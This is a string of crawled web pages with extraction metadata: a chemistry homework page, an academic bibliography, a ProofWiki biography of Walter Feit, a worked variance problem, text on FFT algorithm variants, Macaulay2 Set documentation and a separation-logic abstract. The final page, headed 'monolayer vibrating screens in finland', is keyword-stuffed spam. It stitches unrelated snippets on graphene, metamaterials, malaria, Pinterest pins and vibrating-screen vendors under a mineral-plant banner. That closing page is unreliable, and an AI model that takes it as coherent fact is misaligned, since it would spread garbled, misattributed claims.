Reason : Incorrect | 2022-05-17 07:30:05 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8032861351966858, "perplexity": 3853.506001452521}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662517018.29/warc/CC-MAIN-20220517063528-20220517093528-00297.warc.gz"} |
https://studysoup.com/tsg/1150473/fundamentals-of-general-organic-and-biological-chemistry-mastering-chemistry-8-edition-chapter-14-problem-14-60 | ×
Get Full Access to Fundamentals Of General, Organic, And Biological Chemistry (Mastering Chemistry) - 8 Edition - Chapter 14 - Problem 14.60
Get Full Access to Fundamentals Of General, Organic, And Biological Chemistry (Mastering Chemistry) - 8 Edition - Chapter 14 - Problem 14.60
×
ISBN: 9780134015187 2044
## Solution for problem 14.60 Chapter 14
Fundamentals of General, Organic, and Biological Chemistry (Mastering Chemistry) | 8th Edition
• Textbook Solutions
• 2901 Step-by-step solutions solved by professors and subject experts
• Get 24/7 help from StudySoup virtual teaching assistants
Fundamentals of General, Organic, and Biological Chemistry (Mastering Chemistry) | 8th Edition
4 5 1 389 Reviews
23
0
Problem 14.60
Name all unbranched ether and alcohol isomers with formula $$\mathrm{C}_{5} \mathrm{H}_{12} \mathrm{O}$$ , and write their structural formulas.
Text Transcription:
C_5H_12_O
Step-by-Step Solution:
Step 1 of 3
Step 2 of 3
Step 3 of 3
## Discover and learn what students are asking
Calculus: Early Transcendental Functions : Product and Quotient Rules and Higher-Order Derivatives
?Using the Product Rule In Exercises 1–6, use the Product Rule to find the derivative of the function. $$f(x)=e^{x} \cos x$$
Calculus: Early Transcendental Functions : Second-Order Nonhomogeneous Linear Equations
?Verifying a Solution In Exercises 1-4,verify the solution of the differential equation. Solution D
Statistics: Informed Decisions Using Data : Applications of the Normal Distribution
?In Problems 19–22, find the value of ?? ?0.01
Statistics: Informed Decisions Using Data : Comparing Three or More Means (One-Way Analysis of Variance)
?Car-Buying Discrimination To determine if there is gender and/or race discrimination in car buying, Ian Ayres put together a team of fifteen white mal
#### Related chapters
Unlock Textbook Solution | 2022-06-25 11:29:37 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.24194765090942383, "perplexity": 8854.082303969168}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103034930.3/warc/CC-MAIN-20220625095705-20220625125705-00218.warc.gz"} |
https://www.csauthors.net/mauro-leoncini/ | # Mauro Leoncini
According to our database1, Mauro Leoncini authored at least 57 papers between 1991 and 2021.
Collaborative distances:
Book
In proceedings
Article
PhD thesis
Other
## Bibliography
2021
WebFPTI: A tool to predict the toxicity/pathogenicity of mineral fibres including asbestos.
Earth Sci. Informatics, 2021
An 800-mA Time-Based Boost Converter in 0.18µm BCD with Right-Half-Plane Zero Elimination and 96% Power Efficiency.
Proceedings of the 47th ESSCIRC 2021, 2021
2020
Distributed balanced color assignment on arbitrary networks.
Theor. Comput. Sci., 2020
A Novel Start-Up Technique for Time-Based Boost Converters with Seamless PFM/PWM Transition.
Proceedings of the IEEE International Symposium on Circuits and Systems, 2020
2019
Fully Integrated, 406 $\mu$A, $\text{5 }^{\circ}$/hr, Full Digital Output Lissajous Frequency-Modulated Gyroscope.
IEEE Trans. Ind. Electron., 2019
A parallel branch-and-bound algorithm to compute a tighter tardiness bound for preemptive global EDF.
Real Time Syst., 2019
A distributed message-optimal assignment on rings.
J. Parallel Distributed Comput., 2019
2018
Efficient Behavioral Simulation of Charge-Pump Phase-Locked Loops.
IEEE Trans. Circuits Syst. I Regul. Pap., 2018
2017
A branch-and-bound algorithm to compute a tighter bound to tardiness for preemptive global EDF scheduler.
Proceedings of the 25th International Conference on Real-Time Networks and Systems, 2017
Distributed Beta-assignment on Graphs.
Proceedings of the Joint Proceedings of the 18th Italian Conference on Theoretical Computer Science and the 32nd Italian Conference on Computational Logic co-located with the 2017 IEEE International Workshop on Measurements and Networking (2017 IEEE M&N), 2017
2016
Towards User-Aware Service Composition.
Proceedings of the Nature of Computation and Communication, 2016
2015
CMStalker: A Combinatorial Tool for Composite Motif Discovery.
IEEE ACM Trans. Comput. Biol. Bioinform., 2015
CNVScan: detecting borderline copy number variations in NGS data via scan statistics.
Proceedings of the 6th ACM Conference on Bioinformatics, 2015
2014
AMBIT: Towards an Architecture for the Development of Context-dependent Applications and Systems.
Proceedings of the 3rd International Conference on Context-Aware Systems and Applications, 2014
2013
CMF: A Combinatorial Tool to Find Composite Motifs.
Proceedings of the Learning and Intelligent Optimization - 7th International Conference, 2013
CE<sup>3</sup> Customizable and Easily Extensible Ensemble Tool for Motif Discovery.
Proceedings of the International Work-Conference on Bioinformatics and Biomedical Engineering, 2013
2012
Direct vs 2-Stage Approaches to Structured Motif Finding.
Algorithms Mol. Biol., 2012
2011
A High Performing Tool for Residue Solvent Accessibility Prediction.
Proceedings of the Information Technology in Bio- and Medical Informatics, 2011
2009
K-Boost: A Scalable Algorithm for High-Quality Clustering of Microarray Gene Expression Data.
J. Comput. Biol., 2009
Partially controlled deployment strategies for wireless sensors.
Self Organization and Self Maintenance of Mobile Ad Hoc Networks through Dynamic Topology Control.
Proceedings of the Architecting Dependable Systems VII, 2009
2008
An STDMA-based framework for QoS provisioning in wireless mesh networks.
Proceedings of the IEEE 5th International Conference on Mobile Adhoc and Sensor Systems, 2008
2007
Topology control with better radio models: Implications for energy and multi-hop interference.
Perform. Evaluation, 2007
High-Throughput Analysis of Gene Expression Data for Personalized Medicine.
ERCIM News, 2007
<i>FPF-SB</i> : A Scalable Algorithm for Microarray Gene Expression Data Clustering.
Proceedings of the Digital Human Modeling, 2007
2006
The k-Neighbors Approach to Interference Bounded and Symmetric Topology Control in Ad Hoc Networks.
IEEE Trans. Mob. Comput., 2006
Efficient Computation of Nash Equilibria for Very Sparse Win-Lose Games.
Electron. Colloquium Comput. Complex., 2006
Distributed algorithm for a color assignment on asynchronous rings.
Proceedings of the 20th International Parallel and Distributed Processing Symposium (IPDPS 2006), 2006
Efficient Computation of Nash Equilibria for Very Sparse Win-Lose Bimatrix Games.
Proceedings of the Algorithms, 2006
2005
Analysis of a wireless sensor dropping problem in wide-area environmental monitoring.
Proceedings of the Fourth International Symposium on Information Processing in Sensor Networks, 2005
Comparison of Cell-Based and Topology-Control-Based Energy Conservation in Wireless Sensor Networks.
Proceedings of the Handbook on Theoretical and Algorithmic Aspects of Sensor, 2005
2004
Approximation algorithms for a hierarchically structured bin packing problem.
Inf. Process. Lett., 2004
2003
Computation of the Lovász Theta Function for Circulant Graphs
Electron. Colloquium Comput. Complex., 2003
Generating Realistic Data Sets for Combinatorial Auctions.
Proceedings of the 2003 IEEE International Conference on Electronic Commerce (CEC 2003), 2003
The lit K-neigh protocol for symmetric topology control in ad hoc networks.
Proceedings of the 4th ACM Interational Symposium on Mobile Ad Hoc Networking and Computing, 2003
2002
Reliable parallel solution of bidiagonal systems.
Numerische Mathematik, 2002
On the Symmetric Range Assignment Problem in Wireless Ad Hoc Networks.
Proceedings of the Foundations of Information Technology in the Era of Networking and Mobile Computing, 2002
2001
The Role of Arithmetic in Fast Parallel Matrix Inversion.
Algorithmica, 2001
Distributed Algorithm for Certain Assignment Problems.
Proceedings of the Procedings of the 5th International Conference on Principles of Distributed Systems. OPODIS 2001, 2001
2000
Reliable Solution of Tridiagonal Systems of Linear Equations.
SIAM J. Numer. Anal., 2000
On the Lovász Number of Certain Circulant Graphs.
Proceedings of the Algorithms and Complexity, 4th Italian Conference, 2000
1999
Parallel Complexity of Numerically Accurate Linear System Solvers.
SIAM J. Comput., 1999
1998
Stable solution of tridiagonal systems.
Numer. Algorithms, 1998
1997
Parallel Algorithms for Certain Matrix Computations.
Theor. Comput. Sci., 1997
On the Parallel Complexity of Matrix Factorization Algorithms.
Proceedings of the 9th Annual ACM Symposium on Parallel Algorithms and Architectures, 1997
How Does One Solve a Tridiagonal System of Linear Equations?
Proceedings of the Large-Scale Scientific Computation for Engineering and Environmental Problems, 1997
1996
Strong NP-Completeness of a Matrix Similarity Problem.
Theor. Comput. Sci., 1996
On the Parallel Complexity of Gaussian Elimination with Pivoting.
J. Comput. Syst. Sci., 1996
On Speed versus Accuracy: Some Case Studies.
J. Complex., 1996
Parallel Complexity of Householder QR Factorization.
Proceedings of the Algorithms, 1996
1994
Oracle Computations in Parallel Numerical Linear Algebra.
Theor. Comput. Sci., 1994
How Much Can We Speedup Gaussian Elimination with Pivoting?
Proceedings of the 6th Annual ACM Symposium on Parallel Algorithms and Architectures, 1994
1993
Introduction to parallel processing.
International computer science series, Addison-Wesley, ISBN: 978-0-201-56887-5, 1993
1992
Repeated Matrix Squaring for the Parallel Solution of Linear Systems.
Proceedings of the PARLE '92: Parallel Architectures and Languages Europe, 1992
1991
Matrix inversion in <i>RNC</i><sup>1</sup>.
J. Complex., 1991
An experimental environment for design and analysis of global routing heuristics.
Proceedings of the First Great Lakes Symposium on VLSI, 1991
Parallel complexity of linear system solution.
World Scientific, ISBN: 978-981-02-0502-7, 1991 | 2021-11-27 18:16:30 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4231371283531189, "perplexity": 11498.473334623632}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964358208.31/warc/CC-MAIN-20211127163427-20211127193427-00120.warc.gz"} |
https://proofwiki.org/wiki/Mathematician:Walter_Feit | # Mathematician:Walter Feit
## Mathematician
Austrian-born American mathematician who worked in finite group theory and representation theory.
## Nationality
Austrian-American
## History
• Born: 26 October 1930 in Vienna, Austria
• Died: 29 July 2004 in Branford, Connecticut, USA
## Theorems and Definitions
Results named for Walter Feit can be found here.
## Publications
• 1955: Topics in the Theory of Group Characters
• 1963: Solvability of groups of odd order (Pacific Journal of Mathematics Vol. 13: 775 – 1029) (with John Griggs Thompson)
• 1967: $p$-adic and modular representations of finite groups
• 1970: The Current Situation in the Theory of Finite Simple Groups
• 1990: The construction of Galois groups | 2019-12-13 00:34:13 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4655781388282776, "perplexity": 5814.881107210674}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540547536.49/warc/CC-MAIN-20191212232450-20191213020450-00335.warc.gz"} |
https://socratic.org/questions/what-is-the-variance-of-2-9-3-2-7-7-12 | # What is the variance of 2, 9, 3, 2, 7, 7, 12?
Jan 28, 2017
$14. \overline{6}$
#### Explanation:
The formula for the variance of a data set is
${s}^{2} = \frac{1}{n - 1} {\sum}_{k = 1}^{n} {\left(x - \overline{x}\right)}_{k}^{2}$
in this case $n = 7$
and
$\overline{x} = \frac{1}{n} {\sum}_{k = 1}^{n} {x}_{k} = \frac{2 + 9 + 3 + 2 + 7 + 7 + 12}{7} = \frac{11 + 5 + 14 + 12}{7} = \frac{16 + 26}{7} = \frac{42}{7} = 6$
Then
${s}^{2} = \frac{1}{6} {\sum}_{k = 1}^{7} {\left(x - 6\right)}_{k}^{2} = \frac{{\left(- 4\right)}^{2} + {3}^{2} + {\left(- 3\right)}^{2} + {\left(- 4\right)}^{2} + {1}^{2} + {1}^{2} + {6}^{2}}{6} = \frac{16 + 9 + 9 + 16 + 2 + 36}{6} = \frac{32 + 18 + 2 + 36}{6} = \frac{88}{6} = \frac{44}{3} = 14. \overline{6}$ | 2022-01-27 17:48:17 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 5, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9615029096603394, "perplexity": 640.9799410340745}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-05/segments/1642320305277.88/warc/CC-MAIN-20220127163150-20220127193150-00324.warc.gz"} |
https://eng.libretexts.org/Textbook_Maps/Electrical_Engineering/Book%3A_Fast_Fourier_Transforms_(Burrus)/09%3A_The_Prime_Factor_and_Winograd_Fourier_Transform_Algorithms/9.4%3A_Modifications_of_the_PFA_and_WFTA_Type_Algorithms | # 9.4: Modifications of the PFA and WFTA Type Algorithms
In the previous section it was seen how using the permutation property of the elementary operators in the PFA allowed the nesting of the multiplications to reduce their number. It was also seen that a proper ordering of the operators could minimize the number of additions. These ideas have been extended in formulating a more general algorithm optimizing problem. If the DFT operator $$F$$ in the equation is expressed in a still more factored form obtained from Winograd's Short DFT Algorithms, a greater variety of ordering can be optimized. For example if the $$A$$ operators have two factors
$F_1=A_1^TA_1^{'T}D_1A_1^{'}A_1$
The DFT in the equation becomes
$X=A_2^TA_2^{'T}D_2A_2^{'}A_2A_1^TA_1^{'T}D_1A_1^{'}A_1x$
The operator notation is very helpful in understanding the central ideas, but may hide some important facts. It has been shown that operators in different $$F_i$$ commute with each other, but the order of the operators within an $$F_i$$cannot be changed. They represent the matrix multiplications in Winograd's Short DFT Algorithms which do not commute.
This formulation allows a very large set of possible orderings, in fact, the number is so large that some automatic technique must be used to find the “best". It is possible to set up a criterion of optimality that not only includes the number of multiplications but the number of additions as well. The effects of relative multiply-add times, data transfer times, CPU register and memory sizes, and other hardware characteristics can be included in the criterion. Dynamic programming can then be applied to derive an optimal algorithm for a particular application. This is a very interesting idea as there is no longer a single algorithm, but a class and an optimizing procedure. The challenge is to generate a broad enough class to result in a solution that is close to a global optimum and to have a practical scheme for finding the solution.
Results obtained applying the dynamic programming method to the design of fairly long DFT algorithms gave algorithms that had fewer multiplications and additions than either a pure PFA or WFTA. It seems that some nesting is desirable but not total nesting for four or more factors. There are also some interesting possibilities in mixing the Cooley-Tukey with this formulation. Unfortunately, the twiddle factors are not the same for all rows and columns, therefore, operations cannot commute past a twiddle factor operator. There are ways of breaking the total algorithm into horizontal paths and using different orderings along the different paths. In a sense, this is what the split-radix FFT does with its twiddle factors when compared to a conventional Cooley-Tukey FFT.
There are other modifications of the basic structure of the Type-1 index map DFT algorithm. One is to use the same index structure and conversion of the short DFT's to convolution as the PFA but to use some other method for the high-speed convolution. Table look-up of partial products based on distributed arithmetic to eliminate all multiplications looks promising for certain very specific applications, perhaps for specialized VLSI implementation. Another possibility is to calculate the short convolutions using number-theoretic transforms. This would also require special hardware. Direct calculation of short convolutions is faster on certain pipelined processor such as the TMS-320 microprocessor.
### Contributor
• ContribEEBurrus | 2018-07-23 07:44:03 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.714760422706604, "perplexity": 557.1685501100958}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676595531.70/warc/CC-MAIN-20180723071245-20180723091245-00218.warc.gz"} |
https://faculty.math.illinois.edu/Macaulay2/doc/Macaulay2-1.20/share/doc/Macaulay2/Macaulay2Doc/html/___Set.html | # Set -- the class of all sets
## Description
Elements of sets may be any immutable object, such as integers, ring elements and lists of such. Ideals may also be elements of sets.
i1 : A = set {1,2}; i2 : R = QQ[a..d]; i3 : B = set{a^2-b*c,b*d} 2 o3 = set {a - b*c, b*d} o3 : Set
Set operations, such as membership, union, intersection, difference, Cartesian product, Cartesian power, and subset are available. For example,
i4 : toList B 2 o4 = {b*d, a - b*c} o4 : List i5 : member(1,A) o5 = true i6 : member(-b*c+a^2,B) o6 = true i7 : A ** A o7 = set {(1, 1), (1, 2), (2, 1), (2, 2)} o7 : Set i8 : A^**2 o8 = set {(1, 1), (1, 2), (2, 1), (2, 2)} o8 : Set i9 : set{1,3,2} - set{1} o9 = set {2, 3} o9 : Set i10 : set{4,5} + set{5,6} o10 = set {4, 5, 6} o10 : Set i11 : set{4,5} * set{5,6} o11 = set {5} o11 : Set i12 : set{1,3,2} === set{1,2,3} o12 = true
Ideals in Macaulay2 come equipped with a specific sequence of generators, so the following two ideals are not considered strictly equal, and thus the set containing them will appear to have two elements.
i13 : I = ideal(a,b); J = ideal(b,a); o13 : Ideal of R o14 : Ideal of R i15 : I == J o15 = true i16 : I === J o16 = false i17 : C = set(ideal(a,b),ideal(b,a)) o17 = set {ideal (a, b), ideal (b, a)} o17 : Set
However, if you trim the ideals, then the generating sets will be the same, and so the set containing them will have one element.
i18 : C1 = set(trim ideal(a,b),trim ideal(b,a)) o18 = set {ideal (b, a)} o18 : Set
A set is implemented as a HashTable, whose keys are the elements of the set, and whose values are all 1. In particular, this means that two objects are considered the same exactly when they are strictly equal, according to ===.
## Functions and methods returning a set :
• Command \ Set (missing documentation)
• Function \ Set (missing documentation)
• "set(VisibleList)" -- see set -- make a set
• Set * Set -- intersection of sets
• Set ** Set -- Cartesian product
• Set + Set -- set union
• "Set - List" -- see Set - Set -- set difference
• Set - Set -- set difference
• Set / Command (missing documentation)
• Set / Function (missing documentation)
## Methods that use a set :
• "# Set" -- see # BasicList -- length or cardinality
• "commonest(Set)" -- see commonest -- the most common elements of a list or tally
• "elements(Set)" -- see elements -- list of elements
• isSubset(Set,Set) -- whether one object is a subset of another
• "isSubset(Set,VisibleList)" -- see isSubset(Set,Set) -- whether one object is a subset of another
• "isSubset(VisibleList,Set)" -- see isSubset(Set,Set) -- whether one object is a subset of another
• "member(Thing,Set)" -- see member -- test membership in a list or set
• partitions(Set,BasicList)
• product(Set) -- product of elements
• Set #? Thing -- test set membership
• "List - Set" -- see Set - Set -- set difference
• "subsets(Set)" -- see subsets -- produce the subsets of a set or list
• "subsets(Set,ZZ)" -- see subsets -- produce the subsets of a set or list
• sum(Set) -- sum of elements
• "toList(Set)" -- see toList -- create a list
## For the programmer
The object Set is a type, with ancestor classes Tally < VirtualTally < HashTable < Thing. | 2023-03-27 16:32:20 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7628180980682373, "perplexity": 4419.948925754736}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296948673.1/warc/CC-MAIN-20230327154814-20230327184814-00258.warc.gz"} |
https://www.easychair.org/publications/preprint/QhKQ | The Complexity of Prenex Separation Logic with One Selector
EasyChair Preprint no. 433
20 pagesDate: August 16, 2018
Abstract
We first show that infinite satisfiability can be reduced to finite satisfiability for all prenex formulas of Separation Logic with \$k\geq1\$ selector fields (\$\seplogk{k}\$). Second, we show that this entails the decidability of the finite and infinite satisfiability problem for the class of prenex formulas of \$\seplogk{1}\$, by reduction to the first-order theory of one unary function symbol and unary predicate symbols. We also prove that the complexity is not elementary, by reduction from the first-order theory of one unary function symbol. Finally, we prove that the Bernays-Sch\"onfinkel-Ramsey fragment of prenex \$\seplogk{1}\$ formulae with quantifier prefix in the language \$\exists^*\forall^*\$ is \pspace-complete. The definition of a complete (hierarchical) classification of the complexity of prenex \$\seplogk{1}\$, according to the quantifier alternation depth is left as an open problem.
Keyphrases: complexity, decidability, lists, magic wand, separation logic | 2022-08-18 04:12:19 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9187575578689575, "perplexity": 1071.8690744307116}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573163.7/warc/CC-MAIN-20220818033705-20220818063705-00215.warc.gz"} |
http://www.hairafrica.co.za/2015-Oct-06/monolayer-vibrating-screens-in-finland.html | Welcome to Xinhai Mineral Processing Plant!
Home > > monolayer vibrating screens in finland
## monolayer vibrating screens in finland
• ### Book 11
This book also lacks the discussion of an important phase of manufacturing coated products finishing. Following dispersion, the slurry is normally passed through a vibrating screen of size between 53 and 80 mm to remove any remaining agglomerates that would compromise the quality of the coating. Low shear viscosity of a suspension is a
• ### Spring 2007, The Shot Peener by Electronics Inc. Issuu
An inline separator/ classifier consists of vibrating screens appropriately sized to allow passage of the proper size media and their return to the reservoir supply while letting fractured and
• ### ECHO FLUID (echofluid) on Pinterest
Dukta Natural Skin, flexible wood and wood materials. Through the cuts, the material receives nearly textile properties Find this Pin and more on Artisanat by echofluid. Serge Lunin + Christian Kuhn Dukta is a novel cutting technique that imparts flexibility to wood and wood based products.
• ### Newsletter Special Issue Graphene by Phantoms Foundation
The monolayer graphene grown by chemical vapor deposition on copper substrate and transferred onto the polyethylene terephthalate (PET) substrate is shown in Figure 1a. The edge is clearly
• ### Effects of a magnetic field introduced to a shallow dish
The visual patterns of audio frequencies seen through vibrating sand Chladni plate experiment by Brusspup (video) Find this Pin and more on Exhibition by Jeff Rohlfing . With a tone generator, a metal plate, some salt, and a little voodoo, different frequencies create unique geometric patterns during this Chladni plate experiment.
• ### 600+ User Presentations from COMSOL Conference 2014
Engineers are using multiphysics simulation for design and optimization in bioengineering applications from biomass conversion to local vascular diffusion. The papers, posters, and presentations featured on this page describe these applications and more while showing how bioscience and
• ### Mogensen Vibrating Screens
Mogensen design and manufacture vibratory screens to suit most applications Enclosed and open screens, finger deck screens, industrial screens, single to multi deck screens, industrial sieves and vibrating screening of many sizes and for many applications.
• ### Testing and evaluation of modifying reagents in potash
Sizing and debrining, processes usually in combination with the previous stages, are accomplished with stationary wet screens, vibrating screens and cyclones, or combinations of all three. Separate coarse and fine material streams are each conditioned with both a depressant and a collector.
• ### Metamaterials conference 2018
Sergei Tretyakov, Aalto University, Finland We demonstrate tunable perfect anomalous reflection with metasurfaces incorporating lumped elements. Properly tuning the capacitance of each element allows for tilting the reflected wavefront.
• ### Vibrating Screens sinfo t.jp
Our vibrating screens are able to sift and sort materials precisely depend on purposes and kinds of materials. gt; Vibrating Equipment Top RVS type screen consist of high powerd rotary vibrating motor and screen trough to which the screen cloth is installed.
• ### Full text of quot;USPTO Patents Application 09448420quot;
Search the history of over 336 billion web pages on the Internet.
• ### University of Technology Sydney web tools.uts.edu.au
Aal shamkhi, ADS, Mojaddadi, H, Pradhan, B Abdullahi, S 2017, 'Extraction and Modeling of Urban Sprawl Development in Karbala City Using VHR Satellite Imagery' in Spatial Modeling and Assessment of Urban Form, Springer, Switzerland, pp. 281 296. View/Download from UTS OPUS or Publisher's site Abdullahi, S Pradhan, B 2017, 'Application of GIS and RS in Urban Growth Analysis and Modeling
• ### Metamaterials conference 2015 METAMORPHOSE VI
This talk will review the development of the field of acoustic metamaterials, from the early development of key ideas, through the dramatic acceleration that paralleled the development of electromagnetic metamaterials, to what is now a distinct field with its own constraints, possibilities, and goals.
• ### Michael Adsetts Edberg Hansen M.Sc., Ph.D.
Michael Adsetts Edberg Hansen Lucio H Freitas Junior Placental malaria is a significant cause of all malaria related deaths globally for which no drugs have been developed to specifically disrupt
• ### Metamaterials conference 2017 METAMORPHOSE VI
We consider a vibrating triangular mass truss lattice whose unit cell contains a rigid resonator. The resonators are linked by trusses to the triangular lattice nodal points. We assume that the resonator is tilted , \emph{i.e.} it is rigidly rotated with respect to the triangular lattice's unit cell by
• ### Vibrating Screens Eralki Ingenier237;a
The vibrating screens are used for sizing different types of products.. They are also used as safety device to prevent contamination of products.. Depending on the application, product screening, required cutpoints, etc. the most appropriate equipment is defined in each case.
• ### Vibrating Screens sinfo t.jp
We produce vibrating screens in various types of vibration. Application of electromagnetic, direct vibration from a vibratory motor, eccentric crank, etc. Our vibrating screens achieve optimum sifting and sorting according to each materials, purposes and terms.
• ### Vibration Screens, Manufacturers Of Vibration Screens
Vibrating Screens are extensively used in Iron steel works, collieries, Quarries, mines, Chemical, pharmaceuticals, ceramics, Rubber, Clay glass industries for handling all types of materials.
• ### ESGCT and FSGT Collaborative Congress Helsinki, Finland
5 School of Pharmacy, University of Eastern Finland, Yliopistonranta 1, P.O. Box 1627, FI 70211 Kuopio, Finland. Not more than ten years ago oncolytic viruses were thought to be effective mainly for their ability of replicating and directly kill cancer cells.
• ### Srinivas Mettu Postdoctoral Researcher The University
